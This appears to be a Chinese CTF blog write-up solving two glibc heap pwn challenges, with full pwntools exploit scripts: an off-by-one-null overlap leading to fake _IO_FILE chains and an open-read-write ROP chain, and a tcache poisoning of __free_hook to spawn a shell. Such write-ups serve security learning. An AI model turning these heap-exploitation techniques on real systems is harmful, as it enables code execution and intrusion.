拿到堆附件,不清楚哪个是密码哪个是pwn,找到两个pwn,一个RSA密码相对简单(已知e,d,N,直接用N解出k((ed-1)//phi_N==(ed-1)//N^2),然后求p+q,而phi_N正好是p+q的2次方程)。就只复现了两个pwn,感觉还有些难的。
小红书的记事本
一个不常见的libc版本 2.33下载glibc里居然在河北的DNS给拦截了,原因好像是未备案。这ubuntu.com有必要在河北备案吗。
堆题,有add,free,show,漏洞在add处有个off_by_one_null
__int64 __fastcall sub_C40(_BYTE *a1, int a2)
{int i; // [rsp+1Ch] [rbp-4h]if ( a2 <= 0 )return 0LL;for ( i = 0; ; ++i ){if ( (unsigned int)read(0, a1, 1uLL) != 1 )return 1LL;if ( *a1 == 10 )break;++a1;if ( i == a2 ) /*会多读入1字符*/break;}*a1 = 0; /*在读入字符后加一个\0 */return 0LL;
}
这个带\0截断的确实比较麻烦,又没有edit。这里可以建个0x10000的块,在利用前面块的1字节溢出修改尾字节,包含后边的块,在free以后造重叠块。
另外一个小坑是,这个版本unsort的指针尾字节也是0,只能建大块让unsort进入smallbin再泄露。
然后是禁用了exec 用IO_list_all造fake_file,原来存了一个模板。先造一个fake_file输出environ再链接下一个fake_file读第3个fake_file,第3个把ROP读到栈上。
由于是通过触发的exit,它调用fcloseall_0,所以ROP要写在fcloseall_0的返回地址处。
from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc-2.33.so')#在add写入时可以多写1字节,但最后会加\0
def add(idx,size,msg=b'\n'):p.sendafter(b"Choice:\n", b'1'.ljust(8,b'\0'))p.sendafter(b"Index: \n", str(idx).encode().ljust(8,b'\0'))p.sendafter(b"Size: \n", str(size).encode().ljust(8,b'\0'))p.sendafter(b"Content: \n", msg)def show(idx):p.sendafter(b"Choice:\n", b'2'.ljust(8,b'\0'))p.sendafter(b"Index: \n", str(idx).encode().ljust(8,b'\0'))p.recvuntil(b"Content: \n")def free(idx):p.sendafter(b"Choice:\n", b'3'.ljust(8,b'\0'))p.sendafter(b"Index: \n", str(idx).encode().ljust(8,b'\0'))p = process('./pwn')#unsort xxx00
for i,s in enumerate([0x18,0x10000,0x18,0x48,0x58,0x48,0x58]):add(i,s,b'\n')free(0)
add(0,0x18,b'\0'*0x18+p8(0xe1)) #将0x10011改为0x100e1包含1+2+3+4
free(1)
add(1,0x10000)
add(7,0xf0) #0xd0 unsort->smallbin unsort的指针尾地址为0,将unsort转为smallbin再泄露
show(2)
libc.address = u64(p.recv(6)+b'\0\0') - 0x1e0cc0
print(f"{libc.address = :x}")add(12,0x18)
add(13,0xa0) #13=3+4 无法用完smallbin,至少保留0x20
free(12)
add(12,0x18, b'1'*0x18+p8(0x51)) #0xb1->0x51
free(3) #13==3
show(13)
heap = (u64(p.recvuntil(b'Done', drop=True).ljust(8, b'\0')) <<12)
print(f"{heap = :x}")add(3,0x48)
free(5)
free(3)
free(12)
add(12,0x18, b'1'*0x18+p8(0xb1))
free(13)
add(13, 0xa8, p64(libc.sym['_IO_list_all']^(heap>>12))[:-1]+b'\n')
free(12)
add(12,0x18, b'1'*0x18+p8(0x51))
add(5, 0x48)
add(15,0x48, p64(heap-0x10000+0x2c0)+b'\n') #_IO_list_all = chunk1#fake_file
pop_rdi = libc.address + 0x0000000000028a55 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002a4cf # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000c7f32 # pop rdx ; ret
pop_rax = libc.address + 0x0000000000044c70 # pop rax ; ret
syscall = libc.sym['getpid'] + 9# _IO_list_all->chunk1
heap_base = heap - 0x10000 + 0x2c0 #chunk1
print(f"{heap_base = :x}")
#write environ + read file:read_rop
#write(1,environ,8) 先执行第1个file输出environ的栈地址,_chain指向第2个file
fake_io_write = flat({0x00: 0x8000 | 0x800 | 0x1000, #_flags0x20: libc.symbols["environ"], #_IO_write_base0x28: libc.symbols["environ"] + 8, #_IO_write_ptr0x68: heap_base+ 0x100, #_chain -> fake_io_read 0x70: 1, # _fileno0xc0: 0, #_modes0xd8: libc.symbols['_IO_file_jumps'], #_vtables
}, filler=b'\x00')
payload = fake_io_write.ljust(0x100, b'\x00')#read(0,heap_base+0x200,0x100) 第2个file读入第3个file
fake_io_read = flat({0x00: 0x8000 | 0x40 | 0x1000, #_flags0x20: heap_base + 0x200, #_IO_write_base0x28: heap_base + 0x300, #_IO_write_ptr0x68: heap_base + 0x200, #_chain -> fake_read_rop0x70: 0, # _fileno0xc0: 0, #_modes0xd8: libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
payload += fake_io_read.ljust(0x100, b'\x00')free(1)
add(1,0x1000, payload+b'\n')#gdb.attach(p, "b*0x7ffff7e19240\nc")
p.sendafter(b"Choice:\n", b'4'.ljust(8,b'\0')) #执行exit时执行io_file
#main.ret
#exit->fcloseall_0->_IO_file_overflow ROP写的位置是fcloseall_0的返回地址处
target = u64(p.recv(8)) - 0x100 - 8 -0x90 #fcloseall_0.ret-8
print(f"{target = :x}")chain = b'flag\0\0\0\0'+ flat([pop_rdi , target , pop_rsi , 0 , pop_rax,2, syscall,pop_rdi , 3 , pop_rsi , heap , pop_rdx ,0x50 , pop_rax,0, syscall,pop_rdi , 1 , pop_rsi , heap , pop_rdx ,0x50 , pop_rax,1, syscall])#第3个file将rop读到栈上
fake_io_read = flat({0x00: 0x8000 | 0x40 | 0x1000, #_flags0x20: target, #_IO_write_base0x28: target + len(chain), #_IO_write_ptr0x68: 0, #_chain0x70: 0, # _fileno0xc0: 0, #_modes0xd8: libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00').ljust(0x100, b'\x00')
p.send(fake_io_read)p.send(chain)p.interactive()
xheap
这个也是很麻烦。
题目先mmap了一个块,
在建块时同时在堆内建一个0x30以内的块并在mmap里建一个0x20-0x100的块。
free时mmap里的块通过双向指针成链(含size)使用size相同的块,并且指针与一个类似key的随机生成的值异或。
漏洞在于mmap里的模拟的堆没有头,或以写溢出1字节。
在造的块内伪造链表,并利用off_by_one修改尾字节指到fake链上,由这个链将content块建到堆里。控制一个块头和指针。通过修改头和tcache.counter,将块释放到unsort得到libc然后往free_hook里写system
from pwn import *
context(arch='amd64',log_level = 'debug')libc = ELF('./libc.so.6') #2.27-3ubuntu1.6_amd64def add(s1=0x18,m1=b'\n',s2=0x30,m2=b'\n'):p.sendlineafter(b"Your Choice: ", b'1')p.sendlineafter(b"title size: ", str(s1).encode())p.sendlineafter(b"content size: ", str(s2).encode())p.sendafter(b"title: ", m1)p.sendafter(b"content: ", m2)def free(idx):p.sendlineafter(b"Your Choice: ", b'2')p.sendlineafter(b"idx: ", str(idx).encode())def show(idx):p.sendlineafter(b"Your Choice: ", b'3')p.sendlineafter(b"idx: ", str(idx).encode())def edit(idx,m1,m2):p.sendlineafter(b"Your Choice: ", b'4')p.sendlineafter(b"idx: ", str(idx).encode())p.sendafter(b"title: ", m1)p.sendafter(b"content: ", m2)p = process('./pwn_ori')add()
add()
add()
add(s1=0x30)free(0)
free(2)
'''
0x555555603050: 0x00000deadbeef060 0x0000000000000000
0x555555603060: 0x3a9027da69f65ec9 0x0000000000000000
0x555555603070: 0x0000000000000000 0x0000000000000000
0x555555603080: 0x0000555555a01260 0x0000000000000018 0x00000deadbeef000 0x0000000000000020 0x0000000000000000 0x0000555555a01280 0x0000000000000018 0x00000deadbeef030 0x0000000000000020 0x0000000000000001
0x5555556030d0: 0x0000555555a012a0 0x0000000000000018 0x00000deadbeef060 0x0000000000000020 0x00000000000000000x0000555555a012c0 0x0000000000000018 0x00000deadbeef090 0x0000000000000020 0x0000000000000001
'''
add(1,b'\x60',0x30,b'A'*8) #0
show(0)
p.recvuntil(b"title: ")
heap = u64(p.recvline()[:-1].ljust(8,b'\0')) - 0x260
p.recvuntil(b"content: ")
p.recv(8)
key = u64(p.recv(8))
print(f"{heap = :x} {key = :x}")
xheap = 0x00000deadbeef000add() #2
free(2)
free(0)#gdb.attach(p, "b*0x555555401535\nc")edit(1, flat(key, key^((xheap+0x60)>>4),0x50), flat(0,0,key, key^((xheap+0x60)>>4),0x40, 0) + p64(key^((xheap+0x40)>>4))[:1] )add(0x28,b'000\n', 0x40, flat(0,0,0,0,key^((heap+0x280)>>4)))
add(0x28,b'111\n',0x50, flat(0,0,0,0x91,heap+0x10)) #2add(s1=0x18) #4
add(s1=0x18, m1=b'\0'*7+b'\x07\n') #5
free(4)edit(2,b'\n',b'A'*0x20)
show(2)
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x3ebca0
print(f"{libc.address = :x}")edit(2,b'\n',flat(0,0,0,0x91))
add(s1=0x20) #4
free(4)
#tcache attack
edit(2,b'\n',flat(0,0,0,0x31, libc.sym['__free_hook']))
add(0x20, b'/bin/sh\0\n') #4
add(0x20, p64(libc.sym['system'])+b'\n')free(4)
p.interactive()